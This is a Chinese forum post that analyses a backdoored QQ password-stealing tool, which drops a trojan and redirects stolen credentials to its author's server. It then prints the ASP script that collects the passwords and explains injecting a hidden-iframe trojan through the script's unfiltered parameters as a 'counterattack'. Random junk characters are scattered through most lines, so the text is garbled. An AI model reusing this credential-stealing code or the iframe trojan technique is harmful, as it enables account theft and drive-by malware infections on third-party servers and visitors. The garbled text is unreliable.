发新话题
打印

[QQ安全] 找出安全漏洞 QQ盗号软件后门分析与反击

找出安全漏洞 QQ盗号软件后门分析与反击

今天无聊给一朋友讲解QQ盗取原理,从网上找了一个工具 “明小子QQ密码特工”结果发现这个软件有后门。下面就让我带着大家来分析一下。 ) H7 [( v0 ^4 z6 N& H
  首先我们用nod32来查一下有没有毒。图19 a* O7 P' c9 Y% W7 y# g

/ `3 @4 n* o3 a9 M. C  看到了吧没有病毒。我们把监控打开在运行看看图25 x" S/ K4 R) a* X, D, D- A
' Q" l: P; k% f  H. X' S: l
  看到了吧 NOD32检测到了病毒。为了确认一下。我再用‘木马辅助查找器’的文件监视功能来检测下。图3
2 n' a5 u( u3 z" k" v3 j9 a+ L  S- B7 x3 ?# }# A
新建 C:\Documents and Settings\Administrator\Local Settings\Temp\IXP003.TMP\123.exe
( ]2 s9 g0 M, G) q  很明显软件本身在运行的同时释放了一个123.exe 而NOD32查杀到的也就是这个文件。7 F! G# w& [( [" u- I3 H
  C:\Documents and Settings\Administrator\Local Settings\Temp\IXP003.TMP\
+ j0 G' q/ F, I# Y/ t  接着我们用peid查下123.exe. 图4) e4 G# _* \& D" _! i
) g, W$ M6 M8 x  J. a- N/ M
  EP段.nsp1经常搞免杀的应该知道这是北斗加的壳,我们再看看区段vmp 图5; @- W( R5 {& ]; p; o6 P$ W
" g4 b# X# N' N: b/ P7 n
  这个一看就是用vmprotect做的免杀。至于123.exe是什么木马咱门就不继续分析了。
# B4 B- H/ P. _; r4 `  接下来分析他生成后的文件是不是一样令人担忧。8 q. }% i1 h& L0 b" i( R
  随便配置一个图63 h' c4 w  H2 G& l4 D

4 m! r- @8 x* w3 Y; L* g- G  Ollydbg手工给他脱壳esp定律简单 图7
' ]0 ?& }  x4 J0 }: |+ u8 L
# ^3 h5 E, Q/ H9 j+ m  }; u5 ~  脱壳成功后我们在用PEID检测下 图8
* l- v0 E! h6 t6 s( X. L
: ?* @( n" Q% P. h' _$ q, i4 [我们再用c32asm对他进行反汇编,搜索asp图9
3 C  q$ I2 |" M& S
& w) W% I  V2 b  看到了什么 .刚才我是默认设置的应该是http://k.thec.cn/xieming/69q/qq.asp才对。,怎么会是http://langyeqq.cn/qq/newbacka.asp 这个呢!我们浏览看看 图10
2 p$ ]7 P1 k6 b; A4 l
4 p6 w* @- }. D  "pzQQ"看到了吧,说明就是他的盗号的,从这些可以确定,这个软件不但运行的时候施放一个木马,而且就连我们配置好的文件也被他留了后门,而作者就坐等着收号了。
/ n% T- P; t0 u9 {5 S5 U: f+ [! u  后门反击战 作者:fhod4 I6 y0 U: [) G2 k, X1 E# w
  看到这..想必大家也和我一样非常气愤..难道我们就任由作者下去吗.当然不..现在我们就开始反击.
9 G, T. r5 N. ]1 @% @5 ?* R1 S: ^& x  我们来看看qq.asp的代码/ I) w( \9 u2 O
  首先来看
  L! w% U7 W! p2 s6 y, W2 Z" J  strLogFile="Q7.txt"
* [) z  B+ b! H8 _1 q/ U3 u. m3 }( n* Q  这个是QQ接受文件..默认的是q7.txt! P# O7 Z5 a- |: j9 e
  继续看代码
2 C$ m: _/ V2 N- \6 ZQQNumber=request("QQNumber")
, P4 P) t. L! y. J: B5 tQQPassWord=request("QQPassWord")0 l3 s$ ~! j& U# W0 d
QQclub=request("QQclub")5 l, C: `0 {$ I: N# x# ~# s
QQip=request("QQip")- t: ?& R0 g( G  K- _9 m8 N% u6 T
  是没经过任何过滤的..这些参数的数据我们完全可以自定义& y; M% @7 a; M/ C
  在往下看
! ^3 x  V2 E0 T  oif QQNumber="" or QQPassWord="" then
) ]9 V- c7 B) |- Y7 b" q8 i; n7 _response.write "pzQQ"
0 v* _- R7 x9 G4 Wresponse.end
6 v) N7 M( E4 l/ ?  g2 v  假如QQNumber和QQPassWord的值为空就返回pzQQ .然后程序结束工作.. 只要这两个值不为空就继续执行下面的代码: W; z7 m  q! |& w* L
StrLogText =StrLogText&QQNumber&"----"&QQPassWord&"----会员:"& QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
2 E; m) q9 @+ @$ nStrLogText=StrLogText&")"
赠人玫瑰,手有余香。

TOP

写入q7.txt文件 - R" B0 G2 _: y+ Z  [. V" O
  格式为 QQ号码----QQ密码----会员:----IP:
8 _$ P' R5 k4 J2 v  继续看下面的代码3 [. M0 N7 T3 _9 M
set f=Server.CreateObject("scripting.filesystemobject") (没有q7.txt这个文件就自动新建)* I( x! @/ y/ K4 ^1 \1 @
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0) 7 m: H2 L% P) ?
ff.writeline(StrLogText) (打开q7.txt并写入数据)3 A% S' `* T& I4 n8 Q. s9 ~% @$ k
  最后response.write "发送成功!" 满足条件提示成功.- W2 b; l7 M" Z+ }4 i6 a: m' U
  所有的代码也就是这些..程序并未做任何过滤..和处理..也就是说..只要满足qq.asp?QQNumber=123&QQPassWord=123 就回返回 "发送成功!"的提示.
, |9 ^" v& }% E" \5 q- M  http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=123图111 o* m; L+ x" C/ a

  @* R$ t( o  ^9 q  这就证明了QQNumber=123&QQPassWord=123这两个我们是可以自己定义的..如果我们写入的不是数字..而且一段脚本代码呢?会不会执行呢..让我们来试下
: k0 s- F* y/ t  D- S6 L, Phttp://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=0 k8 a8 J' ^  @/ U7 T9 {
  图12
; D, @+ N" d( H9 j; j* K: S8 A! z6 Q8 \3 t
  插入代码成功...我们来看下
3 Z& H1 z5 v, ?7 {5 z, Y  _$ F  http://www.ciker.org/soft/q7.txt的源文件又是什么样的..
1 P: z; ]9 ?' ^1 H# _, D) P& V  图13
5 P. M, c3 k" v8 n1 f$ @
4 d2 t2 R) g) b再次证明对提交的数据是无任何限制的...我们完全可以自己发挥想象.插入任何代码都可以...
7 }" `, D7 h" k$ z: V  如果想反挂马的话..我们就可以提交以下数据3 q6 e" w" w2 E
以下是引用片段:
3 U+ H: `% M6 @http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=: @$ u9 ], u1 D1 ?( `1 g7 T
  图14; d( S$ H, R. ?
% M. v6 V8 y. O; `% o
  当然我这里把width和height设置为480只是为了方便演示..实际挂马中要改为0
/ C/ J' [6 j5 D& ~' `  好了..现在我们就可以给作者一个惊喜去了..图15
) y4 y* [( a4 [- p9 C" j1 w
赠人玫瑰,手有余香。

TOP

发新话题